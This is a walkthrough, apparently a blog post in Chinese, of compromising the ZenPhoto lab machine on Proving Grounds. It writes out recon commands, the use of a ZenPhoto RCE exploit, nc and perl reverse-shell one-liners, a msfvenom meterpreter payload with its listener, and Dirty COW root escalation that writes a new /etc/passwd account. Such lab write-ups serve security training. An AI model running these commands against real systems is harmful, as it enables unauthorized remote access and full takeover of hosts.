Proving Grounds Practice : ZenPhoto Walkthrough
Proving Grounds Practice : ZenPhoto Walkthrough
Foothole (立足點 ) :
- 80 gobuster 發現 /test 底下有 ZenPhoto CMS,查看 Source Code 確認版本為 1.4.1.4
- Searchsploit 發現該版本有 RCE,依據 Exploit 使用後成功拿到 Shell
- rm 建立 Reverse Shell 成功登入
PE ( 提權 ) :
- linpeas 發現 dirtycow 髒牛,依據 exploit 利用後提權成功
注意事項 :
- CMS ZenPhoto
- Dirtycow
Rustscan,└─$ rustscan -a 192.168.171.41 --scripts none --ulimit 5000 | tee rustscan
snmp check,└─$ sudo nmap -sU -p 161 192.168.171.41 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 22,23,80,3306 192.168.171.41 | tee nmap
whatweb,└─$ whatweb -v http://192.168.171.41 | tee whatweb
80 /
80 /robots.txt
gobuster 80 /,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.171.41 -t 150 -x txt,php,git,pdf | tee gobuster
80 /test,發現 CMS ZENPHOTO
查看 Source Code 發現版本是 1.4.1.4
searchsploit zenphoto 剛好有一個 18030 版本符合且是 RCE
複製內容發現是一個 php 檔案
執行看看,告知 Usage 是 Usage......: php 18083.php <host> <path>
依據範例使用 └─$ php 18083.php 192.168.171.41 /test/
執行 rm 拿 Reverse Shell 試試看,rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.175 4444 >/tmp/f &
4444 Reverse Shell 直接進來了
/home 目錄下沒有任何使用者,直接拿到 local.txt
cat /etc/passwd
sudo -l 需要密碼
測試 MySQL 連線使用 root 不用密碼與 root:root 失敗
cat /etc/crontab
linpeas 發現 dirtycow 髒牛
直接使用 40839
需要先編譯
丟到靶機後先進行編譯
執行後成功在 /etc/passwd 新增憑證 firefart:Oscp#1234
切換使用者成功提權為 root 獲取 flag
補充說明 :
Walkthrough 中利用 ZenPhoto 漏洞拿到 Shell 後使用 perl 建立 Reverse Shell
參考 : Reverse Shell Cheat Sheet
https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#perl
依據範例依樣畫葫蘆,perl -e 'use Socket;$i="192.168.45.175";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
下圖上面是 Exploit 拿 Shell 執行 perl,下面是 4444 的 Reverse Shell
另外一個標準方式拿 Reverse Shell,建立 Payload、上傳 Payload、執行 Payload
建立 Payload : msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.45.175 LPORT=4444 -f elf > shell.elf
上傳 Payload 執行 Payload,但是接聽的 4444 Listener 斷開沒有成功
Payload 使用 meterpreter 的方式建立,所以將 Listener 改成使用 meterpreter 的方式接聽看看
啟動 metasploit : sudo msfconsole -q
設定 Payload : set payload linux/x86/meterpreter/reverse_tcp
設定 LHOST : set LHOST 192.168.45.175
設定 LPORT : set LPORT 4444
執行 show options 看一下相關設定
確定沒有問題後就 run
再執行一次就可以看到 Reverse Shell 進來了
一樣可以優化 TTY
留言
張貼留言